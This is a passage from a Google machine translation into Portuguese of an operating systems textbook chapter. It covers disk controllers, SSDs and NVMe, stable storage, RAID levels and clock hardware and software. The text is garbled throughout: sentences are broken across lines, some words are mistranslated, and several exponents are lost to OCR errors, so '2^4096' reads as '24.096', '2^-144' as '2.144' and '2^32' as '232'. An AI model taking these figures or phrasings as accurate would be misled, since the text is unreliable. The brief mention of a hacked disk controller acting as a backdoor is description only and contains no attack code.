o controlador entrasse em loop ou perdesse o controle do que estava fazendo. Controlador 
os projetistas geralmente planejam o pior e fornecem um pino no chip que, quando 
afirmado, força o controlador a esquecer o que estava fazendo e a se reiniciar. Eu cai 
caso contrário, o driver de disco poderá definir um bit para invocar esse sinal e reinicializar o controlador. 
Se isso não ajudar, tudo o que o motorista pode fazer é imprimir uma mensagem e desistir. 

Recalibrar um disco faz um barulho engraçado, mas normalmente não é perturbador. Contudo, existe 
uma situação em que a recalibração é um problema: sistemas com 
restrições em tempo real. Quando um vídeo está sendo reproduzido (ou veiculado em) um disco rígido 
disco ou arquivos de um disco rígido estão sendo gravados em um disco Blu-ray, é essencial 
que os bits cheguem do disco rígido a uma taxa uniforme. Sob essas circunstâncias, 
as recalibrações inserem lacunas no fluxo de bits e são inaceitáveis. Unidades especiais, 
chamados discos AV (discos audiovisuais), que nunca são recalibrados, estão disponíveis para 
tais aplicações. 

Curiosamente, uma demonstração altamente convincente de como os controladores de disco se 
tornaram avançados foi dada pelo hacker holandês Jeroen Domburg, que hackeou 
um controlador de disco moderno para executar código personalizado. Acontece que o controlador de disco 
está equipado com um processador ARM multicore bastante poderoso e possui facilidade suficiente 
recursos para executar o Linux. Se os bandidos hackearem seu disco rígido dessa maneira, eles irão 
ser capaz de ver e modificar todos os dados transferidos de e para o disco. Mesmo reinstalar o sistema 
operacional do zero não removerá a infecção, pois o próprio controlador de disco é malicioso e funciona 
como um backdoor permanente. Alternativamente, você 
Você pode coletar uma pilha de discos rígidos quebrados no centro de reciclagem local e construir 
seu próprio computador cluster gratuitamente. 


5.4.2 Unidades de Estado Sólido (SSDs) 


Como vimos na Sec. 4.3.7, os SSDs são rápidos, têm desempenho assimétrico de leitura e gravação 
e não contêm partes móveis. Eles vêm em diferentes disfarces. Para 
Por exemplo, existem alguns que estão em conformidade com o padrão SATA para dispositivos de armazenamento que 
também é usado para discos magnéticos. No entanto, como o SATA foi projetado para uso mecânico 
discos que são lentos em comparação com a tecnologia flash, cada vez mais SSDs agora interagem com 
o resto do sistema usando NVMe (Non-Volatile Memory Express). 
NVMe é um padrão para explorar melhor a velocidade da conexão PCI Express rápida 


entre o SSD e o resto do sistema, bem como o paralelismo disponível em 
o próprio SSD. 
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Por exemplo, como os computadores modernos têm múltiplos núcleos e o SSD consiste em muitas 
páginas (flash), blocos e, em última análise, chips, compensa processar os pedidos em paralelo. Para tornar 
isso possível, o NVMe oferece suporte a múltiplas filas. No 
pelo menos, o NVMe oferece uma fila de solicitação de comando (conhecida como submissão 
fila na terminologia NVMe) e uma fila de resposta (conhecida como fila de conclusão) 
por núcleo. Para realizar solicitações de armazenamento, um núcleo primeiro escreverá comandos de E/S em seu 
fila de solicitações e, em seguida, escreva no registro da campainha quando os comandos estiverem prontos 
executar. A campainha aciona o controlador no SSD para processar as entradas em 
alguma ordem (por exemplo, na ordem em que foram recebidos ou em ordem de prioridade). 

Quando a solicitação for concluída, ele escreverá o resultado como um código de status na resposta 
fila. 

As filas NVMe têm múltiplas vantagens. Primeiro, onde o SATA oferece apenas uma única fila com um 
pequeno número de entradas, o NVMe permite muitas (e mais longas) 
filas — até 64 mil filas com até 64 mil entradas de comandos de E/S cada. Cada 
a fila é processada em paralelo, permitindo assim que o controlador envie mais comandos 
aos chips flash e acelerando significativamente a E/S de armazenamento. Em segundo lugar, por causa 
isso, uma vez que o sistema geral do computador agora precisa de menos dispositivos para suportar o 
mesmo número de operações de E/S, isso também reduz a necessidade de energia e resfriamento 
comentários. Como bônus, o NVMe permite aos sistemas de arquivos acesso mais direto ao barramento PClet 
e SSD, o que significa que menos camadas de software estão envolvidas no NVMe do que no 
Operações SATA. 

Se nosso SSD usar NVMe, o sistema operacional também precisará de um driver para NVMe. 
Frequentemente, esse driver, por sua vez, consiste em vários componentes, como um módulo que é 
mais ou menos independente de hardware, um módulo específico para PCle, um módulo para 
TCP, etc. Isso não é incomum e os drivers geralmente consistem em uma série de 
componentes. A boa notícia aqui é que a interface SSD é padronizada por 
NVMe e, portanto, o sistema operacional precisa apenas de um único driver para lidar com todos os SSDs 


conformes. Hoje em dia todos os principais sistemas operacionais oferecem suporte para NVMe 
e, portanto, para SSDs NVMe. 


Armazenamento estável 


Como vimos, os discos às vezes cometem erros. Bons setores podem subitamente 
tornam-se setores defeituosos. Unidades inteiras podem morrer inesperadamente. Para algumas aplicações, é 
é essencial que os dados nunca sejam perdidos ou corrompidos, mesmo diante do disco e da CPU 
erros. Idealmente, um disco deveria simplesmente funcionar o tempo todo, sem erros. Infelizmente, isso não 
é possível. O que é possível é um subsistema de disco que tenha a seguinte propriedade: quando uma 
gravação é emitida nele, o disco grava corretamente o 
dados ou não faz nada, deixando os dados existentes intactos. Tal sistema é chamado de armazenamento 
estável e é implementado em software (Lampson e Sturgis, 1979). O 
o objetivo é manter o disco consistente a todo custo. Abaixo descreveremos uma ligeira variante da ideia 
original. 


t Na verdade, o NVMe pode até lidar com dispositivos conectados por outros meios que não PCle (incluindo TCP 
conexões pela rede!), mas para nossos propósitos o PCle é o único de interesse. 
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Antes de descrever o algoritmo, é importante ter um modelo claro dos possíveis erros. O 
modelo assume que quando um disco escreve um bloco (um ou mais setores), ou a escrita está 
correta ou incorreta e esse erro pode ser detectado em uma leitura subsequente examinando os 
valores dos campos ECC. Em princípio, a detecção garantida de erros nunca é possível porque, 
digamos, um campo ECC de 16 bytes protegendo um setor de 512 bytes, existem 24.096 valores 
de dados e apenas 2.144 valores ECC. 

Assim, se um bloco estiver ilegível durante a escrita, mas o ECC não, existem bilhões e bilhões 
de combinações incorretas que produzem o mesmo ECC. Se algum deles ocorrer, o erro não 
será detectado. No geral, a probabilidade de dados aleatórios terem o ECC adequado de 16 bytes 
é de cerca de 2.144, o que é pequeno o suficiente para cnamá-lo de zero, embora na verdade 
não seja. 

O modelo também assume que um setor escrito corretamente pode estragar espontaneamente 
e tornar-se ilegível. No entanto, a suposição é que tais eventos são tão raros que ter o mesmo 
setor com defeito em uma segunda unidade (independente) durante um intervalo de tempo 
razoável (por exemplo, 1 dia) é pequeno o suficiente para ser ignorado. 

O modelo também assume que a CPU pode falhar e, nesse caso, ela simplesmente para. 
Qualquer gravação em disco em andamento no momento da falha também é interrompida, 
levando a dados incorretos em um setor e a um ECC incorreto que pode ser detectado 
posteriormente. Sob todas essas condições, o armazenamento estável pode se tornar 100% 
confiável no sentido de que as gravações funcionem corretamente ou deixem os dados antigos 
no lugar. É claro que não protege contra desastres físicos, como um terremoto e o computador 
cair 100 metros em uma fissura e cair em uma poça de magma fervente. É difícil recuperar dessa 
condição no software. 

O armazenamento estável usa um par de discos idênticos com os blocos correspondentes 
trabalhando juntos para formar um bloco livre de erros. Na ausência de erros, os blocos 
correspondentes em ambas as unidades são iguais. Qualquer um pode ser lido para obter o 
mesmo resultado. Para atingir este objetivo, são definidas as três operações a seguir: 


1. Gravações estáveis. Uma gravação estável consiste primeiro em escrever o bloco 
na unidade 1 e depois lê-lo novamente para verificar se foi escrito corretamente. 
Caso contrário, a escrita e a releitura são feitas novamente até n vezes até 
funcionarem. Após n falhas consecutivas, o bloco é remapeado em um 
sobressalente e a operação é repetida até obter sucesso, não importando quantos 
sobressalentes tenham que ser tentados. Depois que a gravação na unidade 1 for 
bem-sucedida, o bloco correspondente na unidade 2 será gravado e relido, 
repetidamente, se necessário, até que também seja finalmente bem-sucedido. Na 


ausência de travamentos da CPU, quando uma gravação estável for concluída, o 
bloco foi gravado corretamente em ambas as unidades e verificado em ambas. 


2. Leituras estáveis. Uma leitura estável primeiro lê o bloco da unidade 1. Se isso 


resultar em um ECC incorreto, a leitura é tentada novamente, até n vezes. Se 
tudo isso gerar ECCSs ruins, o bloco correspondente será lido na unidade 2. 
Dado o fato de que uma gravação estável bem-sucedida deixa duas cópias boas 
do bloco para trás, e nossa suposição de que a probabilidade da mesma 


Machine Translated by Google 


384 ENTRADA/SAÍDA INDIVÍDUO. 5 


bloquear espontaneamente em ambas as unidades em um intervalo de tempo 
razoável é insignificante, uma leitura estável sempre é bem-sucedida. 


3. Recuperação de falhas. Após uma falha, um programa de recuperação verifica ambos 
os discos comparando os blocos correspondentes. Se um par de blocos for bom e 
igual, nada será feito. Se um deles apresentar um erro de ECC, o bloco defeituoso 
será substituído pelo bloco bom correspondente. Se um par de blocos for bom, mas 
diferente, o bloco da unidade 1 será gravado na unidade 2. 


Na ausência de travamentos da CPU, esse esquema sempre funciona porque gravações 
estáveis sempre gravam duas cópias válidas de cada bloco e presume-se que erros espontâneos 
nunca ocorram em ambos os blocos correspondentes ao mesmo tempo. E na presença de falhas de 
CPU durante gravações estáveis? Depende precisamente de quando a falha ocorre. Existem cinco 
possibilidades, conforme ilustrado na Figura 5-25. 


ECC 
Disco 2g Disco Disco Disco Disco 
12 N 12 12 12 12 
j / 
t t t t t 
Colidir Colidir Colidir Colidir Colidir 
(a) (b) (c) (d) (e) 


Figura 5-25. Análise da influência de crashes em escritas estáveis. 


Na Figura 5.25(a), a falha da CPU acontece antes que qualquer cópia do bloco seja gravada. 
Durante a recuperação, nenhum deles será alterado e o valor antigo continuará a existir, o que é 
permitido. 

Na Figura 5.25(b), a CPU trava durante a gravação na unidade 1, destruindo o conteúdo do 
bloco. No entanto, o programa de recuperação detecta esse erro e restaura o bloco na unidade 1 da 
unidade 2. Assim, o efeito da falha é eliminado e o estado antigo é totalmente restaurado. 


Na Figura 5.25(c), a falha da CPU ocorre depois que a unidade 1 é gravada, mas antes da 
gravação da unidade 2. O ponto sem retorno foi ultrapassado aqui: o programa de recuperação copia 
o bloco da unidade 1 para a unidade 2. A gravação é bem-sucedida. 

A Figura 5.25(d) é semelhante à Figura 5.25(b): durante a recuperação, o bloco bom sobrescreve 
o bloco ruim. Novamente, o valor final de ambos os blocos é o novo. 

Finalmente, na Figura 5.25(e), o programa de recuperação vê que ambos os blocos são os 
mesmo, então nenhum dos dois é alterado e a gravação também é bem-sucedida aqui. 

Várias otimizações e melhorias são possíveis neste esquema. Para começar, comparar todos 
os blocos aos pares após uma falha é possível, mas caro. A 
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Uma grande melhoria é manter o controle de qual bloco estava sendo gravado durante uma gravação estável, de 
modo que apenas um bloco precise ser verificado durante a recuperação. Muitos computadores possuem uma 
pequena quantidade de RAM não volátil, que é uma memória CMOS especial alimentada por uma bateria de 
lítio. Essas baterias duram anos, possivelmente até 
toda a vida do computador. Ao contrário da memória principal, que é perdida após uma falha, a RAM não volátil 
não é perdida após uma falha. A hora do dia é normalmente mantida aqui (e 
incrementado por um circuito especial), e é por isso que os computadores ainda sabem que horas são. 
é mesmo depois de ter sido desconectado. 

Suponha que alguns bytes de RAM não volátil estejam disponíveis para fins de sistema operacional. A 
gravação estável pode colocar o número do bloco que está prestes a atualizar 
na RAM não volátil antes de iniciar a gravação. Depois de concluir com sucesso o 
gravação estável, o número do bloco na RAM não volátil é substituído por um número inválido 
número do bloco, por exemplo, 1. Nessas condições, após uma falha, a recuperação 
programa pode verificar a RAM não volátil para ver se uma gravação estável estava em 
progresso durante a falha e, em caso afirmativo, qual bloco estava sendo escrito quando o 
caiu aconteceu. As duas cópias do bloco podem então ser verificadas quanto à exatidão 
e consistência. 

Se a RAM não volátil não estiver disponível, ela poderá ser simulada da seguinte maneira. No começo 
de uma gravação estável, um bloco de disco fixo na unidade 1 é substituído pelo número de 
o bloco seja escrito de forma estável. Este bloco é então lido para verificá-lo. Após acertar, o bloco correspondente 
na unidade 2 é gravado e verificado. Quando o 
a gravação estável é concluída corretamente, ambos os blocos são substituídos por um bloco inválido 
número e verificado. Novamente aqui, após uma falha é fácil determinar se 
nenhuma gravação estável estava em andamento durante a falha. É claro que esta técnica 
requer oito operações extras de disco para escrever um bloco estável, portanto deve ser usado 
com extrema moderação. 

Vale a pena mencionar um último ponto. Assumimos que apenas um decaimento espontâneo 
de um bloco bom para um bloco ruim acontece por par de blocos por dia. Se passarem dias suficientes 
passar, o outro também pode estragar. Portanto, uma vez por dia, uma verificação completa de ambos 
discos devem ser feitos, reparando qualquer dano. Dessa forma, todas as manhãs ambos os discos são 
sempre idêntico. Mesmo que ambos os blocos de um par estraguem dentro de um período de alguns 
dias, todos os erros são reparados corretamente. 


5.4.3 RAID 


Uma técnica que agora ajuda a melhorar a confiabilidade dos sistemas de armazenamento em geral tornou- 
se originalmente popular como uma medida para aumentar o desempenho dos sistemas magnéticos. 
sistemas de armazenamento em disco. Antes do surgimento dos SSDs, o desempenho da CPU era 
aumentando exponencialmente durante décadas, durante muito tempo praticamente duplicando a cada 18 anos. 
meses. O mesmo não acontece com o desempenho do disco. Na década de 1970, os tempos médios de busca 
em discos de minicomputadores eram de 50 a 100 mseg. Hoje os tempos de busca em discos magnéticos ainda são 
alguns mseg. Na maioria das indústrias técnicas (por exemplo, automóveis, aviação ou trens), um 


A melhoria do desempenho do fator 10 em duas décadas seria uma grande notícia (imagine 
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Carros de 300 MPG, voando de Amsterdã a São Francisco em uma hora, ou pegando um trem de 
Nova York a DC em 20 minutos, mas na indústria de informática isso é uma vergonha. Assim, a 
diferença entre o desempenho da CPU e o desempenho do disco (rígido) tornou-se muito maior ao 
longo do tempo. Alguma coisa poderia ser feita para ajudar? 

Sim! Como vimos, o processamento paralelo está sendo cada vez mais usado para acelerar a 
computação. Ao longo dos anos, ocorreu a várias pessoas que a E/S paralela também poderia ser 
uma boa ideia. Em seu artigo de 1988, Patterson et al. sugeriram seis organizações de disco 
específicas que poderiam ser usadas para melhorar o desempenho e a confiabilidade do disco, ou 
ambos (Patterson et al., 1988). Essas ideias foram rapidamente adotadas pela indústria e levaram a 
uma nova classe de dispositivos de E/S chamada RAID. Paterson et al. definiram RAID como matriz 
redundante de discos baratos, mas a indústria redefiniu o | para ser “independente” em vez de 
“barato” (talvez para que pudessem cobrar mais?). 

Como também era necessário um vilão (como em RISC vs. CISC, também por conta de Patterson), o 
vilão aqui era o SLED (Single Large Expensive Disk). 

A ideia fundamental por trás de um RAID é instalar uma caixa cheia de discos próxima ao 
computador, normalmente um servidor grande, substituir a placa controladora de disco por um 
controlador RAID, copiar os dados para o RAID e então continuar a operação normal. Em outras 
palavras, um RAID deve parecer um SLED para o sistema operacional, mas ter melhor desempenho 
e maior confiabilidade. No passado, os RAIDs consistiam exclusivamente em discos rígidos 
normalmente conectados através de interfaces SCSI. Hoje em dia, os fabricantes também suportam 
SATA e SSDs, bem como discos. 

Além de parecerem um único disco para o software, todos os RAIDs têm a propriedade de que 
os dados sejam distribuídos pelos drives, para permitir a operação paralela. 

Vários esquemas diferentes para fazer isso foram definidos por Patterson et al. Hoje em dia, a 
maioria dos fabricantes refere-se às sete configurações padrão como RAID nível O até RAID nível 6. 
Além disso, existem alguns outros níveis menores que não discutiremos. O termo “nível” é um tanto 
impróprio, já que nenhuma hierarquia está envolvida; existem simplesmente sete organizações 
diferentes possíveis. 

O nível O do RAID é ilustrado na Figura 5.26(a). Consiste em visualizar o disco único virtual 
simulado pelo RAID como sendo dividido em faixas de k setores cada, sendo os setores Oa k1 a 
faixa 0, os setores ka 2k 1 a faixa 1 e assim por diante. Para k = 1, cada faixa é um setor; para k = 2, 
uma faixa corresponde a dois setores, etc. A organização RAID nível O grava faixas consecutivas nas 
unidades no estilo round-robin, conforme ilustrado na Figura 5.26(a) para um RAID com quatro 
unidades de disco. 

A distribuição de dados em várias unidades como essa é chamada de distribuição. Por exemplo, 
se o software emitir um comando para ler um bloco de dados que consiste em quatro faixas 
consecutivas começando em um limite de faixa, o controlador RAID dividirá esse comando em quatro 
comandos separados, um para cada um dos quatro discos, e terá eles operam em paralelo. Assim, 
temos E/S paralelas sem que o software saiba disso. 


O nível 0 do RAID funciona melhor com solicitações grandes, quanto maior, melhor. Se uma 
solicitação for maior que o número de unidades vezes o tamanho do strip, algumas unidades 
receberão múltiplas solicitações, de modo que, quando terminarem a primeira solicitação, iniciarão a segunda. Isto 
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Cabe ao controlador dividir a solicitação e alimentar os comandos apropriados nos discos apropriados 
na sequência correta e então montar os resultados na memória corretamente. O desempenho é 
excelente e a implementação é simples. 

O nível O do RAID funciona pior com sistemas operacionais que habitualmente solicitam dados de 
um setor por vez. Os resultados estarão corretos, mas não há paralelismo e, portanto, nenhum ganho 
de desempenho. Outra desvantagem desta organização é que a confiabilidade é potencialmente pior do 
que ter um SLED. Se um RAID consistir em quatro discos, cada um com um tempo médio até falha de 
20.000 horas, aproximadamente uma vez a cada 5.000 horas uma unidade falhará e todos os dados 
serão completamente perdidos. Um SLED com tempo médio até falha de 20.000 horas seria quatro 
vezes mais confiável. Como não há redundância neste design, ele não é realmente um RAID verdadeiro. 


Lembre-se, o “R” em RAID significa “Redundante”. 


A próxima opção, RAID nível 1, mostrada na Figura 5.26(b), é um RAID verdadeiro. Ele duplica 
todos os discos, portanto há quatro discos primários e quatro discos de backup. Numa escrita, cada tira 
é escrita duas vezes. Em uma leitura, qualquer cópia pode ser usada, distribuindo a carga por mais 
unidades. Conseguentemente, o desempenho de gravação não é melhor do que o de uma única 
unidade, mas o desempenho de leitura pode ser até duas vezes melhor. A tolerância a falhas é 
excelente: se uma unidade travar, a cópia será simplesmente usada. A recuperação consiste 
simplesmente em instalar uma nova unidade e copiar toda a unidade de backup para ela. 

Ao contrário dos níveis 0 e 1, que funcionam com faixas de setores, o nível 2 do RAID funciona 
com base em palavras, possivelmente até mesmo em bytes. Imagine dividir cada byte do disco virtual 
único em um par de nibbles de 4 bits e, em seguida, adicionar um código de Hamming a cada um deles 
para formar uma palavra de 7 bits, dos quais os bits 1, 2 e 4 eram bits de paridade. Imagine ainda que 
os sete acionamentos da Figura 5.26(c) estivessem sincronizados em termos de posição do braço e 
posição rotacional. Então seria possível escrever a palavra codificada de Hamming de 7 bits nas sete 
unidades, um bit por unidade. 

O computador Thinking Machines CM-2 usou esse esquema, pegando palavras de dados de 32 
bits e adicionando 6 bits de paridade para formar uma palavra Hamming de 38 bits, mais um bit extra 
para paridade de palavras, e espalhou cada palavra por 39 unidades de disco. O rendimento total foi 
imenso, porque em um setor ele poderia gravar 32 setores de dados. 

Além disso, a perda de uma unidade não causou problemas, porque a perda de uma unidade equivalia 
a perder 1 bit em cada palavra lida de 39 bits, algo que o código de Hamming poderia resolver na hora. 


Por outro lado, esse esquema exige que todas as unidades sejam sincronizadas rotacionalmente 
e só faz sentido com um número substancial de unidades (mesmo com 32 unidades de dados e 6 
unidades de paridade, a sobrecarga é de 19%). Ele também exige muito do controlador, já que ele deve 
fazer uma soma de verificação de Hamming a cada bit. 

O RAID nível 3 é uma versão simplificada do RAID nível 2. Ele é ilustrado na Figura 5.26(d). Aqui, 
um único bit de paridade é calculado para cada palavra de dados e gravado em uma unidade de 
paridade. Tal como no RAID nível 2, as unidades devem estar sincronizadas com exactidão, uma vez 
que as palavras de dados individuais estão espalhadas por várias unidades. 

À primeira vista, pode parecer que um único bit de paridade fornece apenas detecção de erros, e 
não correção de erros. Para o caso de erros aleatórios não detectados, isso é verdade. 
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Figura 5-26. Níveis de RAID de 0 a 6. As unidades de backup e de paridade são mostradas em sombreado. 
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No entanto, no caso de falha de uma unidade, ele fornece correção completa de erros de 1 bit, uma 
vez que a posição do bit defeituoso é conhecida. No caso de uma unidade travar, o controlador apenas 
finge que todos os seus bits são Os. Se uma palavra tiver um erro de paridade, o bit da unidade morta 
deve ter sido 1, então ele será corrigido. Embora ambos os níveis de RAID 2 e 3 ofereçam taxas de 
dados muito altas, o número de solicitações de E/S separadas por segundo que eles podem manipular 
não é melhor do que o de uma única unidade. 

Os níveis de RAID 4 e 5 funcionam novamente com faixas, não com palavras individuais com 
paridade, e não requerem unidades sincronizadas. O RAID nível 4 [veja a Figura 5.26(e)] é como o 
RAID nível 0, com uma paridade faixa por faixa gravada em uma unidade extra. Por exemplo, se cada 
faixa tiver k bytes de comprimento, todas as faixas serão EXCLUSIVE OR unidas, resultando em uma 
faixa de paridade com k bytes de comprimento. Se uma unidade travar, os bytes perdidos poderão 
ser recompostos a partir da unidade de paridade lendo todo o conjunto de unidades. 

Esse design protege contra a perda de uma unidade, mas tem um desempenho ruim para 
pequenas atualizações. Se um setor for alterado, é necessário ler todos os drives para recalcular a 
paridade, que deverá então ser reescrita. Alternativamente, ele pode ler os dados antigos do usuário e 
os dados antigos de paridade e recalcular a nova paridade a partir deles. 

Mesmo com esta otimização, uma pequena atualização requer duas leituras e duas gravações. 

Como consequência da carga pesada na unidade de paridade, ela pode se tornar um gargalo. 
Esse gargalo é eliminado no RAID nível 5 distribuindo os bits de paridade uniformemente por todas as 
unidades, no estilo round-robin, como mostrado na Figura 5.26(f). 

No entanto, no caso de uma falha na unidade, reconstruir o conteúdo da unidade com falha é um 
processo complexo. 

O RAID nível 6 é semelhante ao RAID nível 5, exceto que um bloco de paridade adicional é 
usado. Em outras palavras, os dados são distribuídos pelos discos com dois blocos de paridade em 
vez de um. Como resultado, as gravações são um pouco mais caras devido aos cálculos de paridade, 
mas as leituras não incorrem em nenhuma penalidade de desempenho. Ele oferece mais confiabilidade 
(imagine o que aconteceria se o RAID nível 5 encontrar um bloco defeituoso justamente quando estiver 
reconstruindo seu array). 

Comparados aos discos magnéticos, os SSDs oferecem desempenho muito melhor e confiabilidade 
muito maior. Ainda precisamos de RAID? A resposta ainda pode ser sim. Afinal, um RAID de vários 
SSDs pode oferecer desempenho e confiabilidade ainda melhores do que um único SSD. Por exemplo, 
o RAID nível O com dois SSDs oferece desempenho de leitura e gravação sequencial que é 
aproximadamente o dobro de um único SSD. Se o desempenho de leitura/gravação sequencial for 
importante em sua pilha de armazenamento, este pode ser um vencedor. É claro que o nível 0 do RAID 
não ajuda e até diminui a confiabilidade, mas talvez isso seja menos ruim para os SSDs do que para 
os discos magnéticos que falham com mais facilidade. Além disso, para maior confiabilidade, podemos 
optar por níveis de RAID mais altos, como o nível de RAID 1. O nível de RAID 1 pode melhorar o 
desempenho de leitura (já que mesmo que um SSD esteja ocupado, o outro ainda estará disponível), 
mas não o desempenho de gravação, pois todos os dados devem ser armazenado duas vezes e os 
erros verificados. Além disso, como você só pode usar metade da sua capacidade de armazenamento, 
o RAID nível 1 é caro — especialmente porque, comparado aos discos magnéticos, os SSDs não são baratos. 

Embora os níveis de RAID 5 e 6 também sejam usados com SSD, com o benefício de alguns 
ganhos de desempenho e maior confiabilidade, eles apresentam desvantagens. Em 
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em particular, eles são "graves pesados" e exigem um bom número de gravações adicionais 
devido aos blocos de paridade. Infelizmente, as gravações não são apenas relativamente caras, 
eles também aumentam o desgaste do SSD. 


5.5 RELÓGIOS 


Os relógios (também chamados de temporizadores) são essenciais para a operação de qualquer 
sistema multiprogramado por vários motivos. Eles mantêm o horário do dia e evitam que um processo 
monopolize a CPU, entre outras coisas. O software de relógio pode assumir a forma de um driver de 
dispositivo, mesmo que um relógio não seja um bloco 
dispositivo, como um disco, nem um dispositivo de caracteres, como um mouse. Nosso exame de relógios 


seguirá o mesmo padrão da seção anterior: primeiro uma olhada no hardware do relógio e depois no 
software do relógio. 


5.5.1 Hardware do Relógio 


Dois tipos de relógios são comumente usados em computadores, e ambos são bastante diferentes 
dos relógios usados pelas pessoas. Os relógios mais simples estão ligados a 
linha de energia de 110 ou 220 volts e causar uma interrupção em cada ciclo de tensão, em 50 
ou 60 Hz. Esses relógios costumavam dominar, mas são raros hoje em dia. 

O outro tipo de relógio é construído com três componentes: um oscilador de cristal, um 
contador e um registro de retenção, conforme mostrado na Figura 5-27. Quando um pedaço de quartzo 
cristal é adequadamente cortado e montado sob tensão, ele pode ser feito para gerar um 
sinal periódico de grande precisão, normalmente na faixa de várias centenas 
megahertz a alguns gigahertz, dependendo do cristal escolhido. Usando eletrônica, 
este sinal base pode ser multiplicado por um pequeno número inteiro para obter frequências de até vários 
gigahertz ou até mais. Pelo menos um desses circuitos é normalmente encontrado em qualquer computador, 
fornecendo um sinal de sincronização aos vários circuitos do computador. Este sinal é 
alimentado no contador para fazer a contagem regressiva até zero. Quando o contador chega a zero, 
causa uma interrupção da CPU. 


Oscilador de cristal 


AU 


O contador é decrementado a cada pulso 


ECE ALEC CEE O registro de retenção é usado para carregar o contador 


Figura 5-27. Um relógio programável. 
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Relógios programáveis normalmente possuem vários modos de operação. No modo one-shot, 
quando o relógio é iniciado, ele copia o valor do registro de retenção no contador e então decrementa 
o contador a cada pulso do cristal. Quando o contador chega a zero, ele causa uma interrupção e 
para até que seja explicitamente reiniciado pelo software. No modo de onda quadrada, após chegar 
a zero e causar a interrupção, o registrador de retenção é automaticamente copiado para o contador 
e todo o processo é repetido novamente indefinidamente. Essas interrupções periódicas são 
chamadas de clock ticks. 


A vantagem do relógio programável é que sua frequência de interrupção pode ser controlada 
por software. Se um cristal de 500 MHz for usado, o contador pulsará a cada 2 ns. Com registradores 
(não assinados) de 32 bits, as interrupções podem ser programadas para ocorrer em intervalos de 2 
ns a 8,6 segundos. Os chips de relógio programáveis geralmente contêm dois ou três relógios 
programáveis independentemente e também possuem muitas outras opções (por exemplo, contagem 
crescente em vez de decrescente, interrupções desativadas e muito mais). 

Para evitar que a hora atual seja perdida quando o computador é desligado, a maioria dos 
computadores possui um relógio de backup alimentado por bateria, implementado com o tipo de 
circuito de baixo consumo de energia usado em relógios digitais. O relógio da bateria pode ser lido 
na inicialização. Se o relógio de backup não estiver presente, o software poderá solicitar ao usuário 
a data e hora atuais. Também existe uma maneira padrão para um sistema em rede obter a hora 
atual de um host remoto. Em qualquer caso, o tempo é então traduzido no número de tiques do 
relógio desde 12h UTC ( Tempo Universal Coordenado) (anteriormente conhecido como Horário 
de Greenwich) em 1º de janeiro de 1970, como faz o UNIX, ou desde algum outro momento de 
referência. A origem do tempo para o Windows é 1º de janeiro de 1980. A cada tique do relógio, o 
tempo real é incrementado em uma contagem. Normalmente são fornecidos programas utilitários 
para definir manualmente o relógio do sistema e o relógio de backup e para sincronizar os dois 
relógios. 


5.5.2 Software de Relógio 


Tudo o que o hardware do relógio faz é gerar interrupções em intervalos conhecidos. Tudo o 
mais que envolva tempo deve ser feito pelo software, o driver do relógio. As funções exatas do driver 
do relógio variam entre os sistemas operacionais, mas geralmente incluem a maioria dos seguintes: 


1. Manter a hora do dia. 

2. Impedir que os processos sejam executados por mais tempo do que o permitido. 
3. Contabilização do uso da CPU. 

4. Tratamento da chamada de sistema de alarme feita pelos processos do usuário. 

5. Fornecer temporizadores de vigilância para partes do próprio sistema. 


6. Criação de perfis, monitoramento e coleta de estatísticas. 
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A primeira função do relógio, manter a hora do dia (também chamada de tempo real) não é difícil. 
Requer apenas incrementar um contador a cada tique do relógio, como mencionado anteriormente. A 
única coisa a observar é o número de bits no contador de hora do dia. Com uma frequência de clock 
de 60 Hz, um contador de 32 bits irá transbordar em pouco mais de 2 anos. É evidente que o sistema 
não pode armazenar o tempo real como o número de ticks desde 1º de janeiro de 1970 em 32 bits. 


Três abordagens podem ser adotadas para resolver esse problema. A primeira maneira é usar um 
contador de 64 bits, embora isso torne a manutenção do contador mais cara, pois precisa ser feita 
muitas vezes por segundo. A segunda maneira é manter a hora do dia em segundos, em vez de ticks, 


usando um contador subsidiário para contar ticks até que um segundo inteiro tenha sido acumulado. 
Como 232 segundos equivalem a mais de 136 anos, esse método funcionará até o século XXII. 


A terceira abordagem é contar em ticks, mas fazer isso em relação ao momento em que o sistema 
foi inicializado, e não em relação a um momento externo fixo. Quando o relógio de backup é lido ou o 
usuário digita em tempo real, o tempo de inicialização do sistema é calculado a partir do valor da hora 
atual e armazenado na memória em qualquer formato conveniente. Posteriormente, quando a hora do 
dia for solicitada, a hora do dia armazenada será adicionada ao contador para obter a hora do dia atual. 
Todas as três abordagens são mostradas na Figura 5.28. 


H 64 bits >| H— 32 bits — H— 32 bits —] 


Hora do dia em ticks L |] PS Contador em ticks 
Hora do dia Número de ticks no 
em segundos segundo atual 


Tempo de inicialização do 
sistema em segundos 


(a) (b) (c) 
Figura 5-28. Três maneiras de manter a hora do dia. 


A função do segundo relógio evita que os processos sejam executados por muito tempo. 

Sempre que um processo é iniciado, o escalonador inicializa um contador com o valor do quantum desse 
processo em tiques do relógio. A cada interrupção do relógio, o driver do relógio diminui o contador 
quântico em 1. Quando chega a zero, o driver do relógio chama o escalonador para configurar outro 
processo. 

A terceira função do clock é fazer a contabilidade da CPU. A maneira mais precisa de fazer isso é 
iniciar um segundo cronômetro, distinto do cronômetro principal do sistema, sempre que um processo 
for iniciado. Quando esse processo é interrompido, o cronômetro pode ser lido para informar quanto 
tempo o processo foi executado. Para fazer as coisas corretamente, o segundo temporizador deve ser 
salvo quando ocorrer uma interrupção e restaurado posteriormente. 

Uma maneira menos precisa, porém mais simples, de fazer a contabilidade é manter um ponteiro 
para a entrada da tabela de processos para o processo atualmente em execução em uma variável 
global. A cada tique do relógio, um campo na entrada do processo atual é incrementado. Desta maneira, 
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cada tick do relógio é “cobrado” no processo em execução no momento do tick. A 

O pequeno problema com esta estratégia é que se ocorrerem muitas interrupções durante um processo" 
executado, ele ainda será cobrado por um tique completo, mesmo que não tenha realizado muito trabalho. 
A contabilização adequada da CPU durante interrupções é muito cara e raramente é 

feito. 

Em muitos sistemas, um processo pode solicitar que o sistema operacional lhe dê uma 
aviso após um certo intervalo. O aviso geralmente é um sinal, interrupção, mensagem, 
ou algo semelhante. Uma aplicação que exige tais avisos é a rede, em 
qual um pacote não reconhecido dentro de um determinado intervalo de tempo deve ser retransmitido. Outra 
aplicação é o ensino auxiliado por computador, em que um aluno que não fornece uma resposta dentro de um 
determinado período recebe a resposta. 

Se o driver do relógio tivesse relógios suficientes, ele poderia definir um relógio separado para cada 
solicitar. Não sendo este o caso, deve simular múltiplos relógios virtuais com um único relógio físico. Uma 
maneira é manter uma tabela na qual o tempo do sinal para todos 
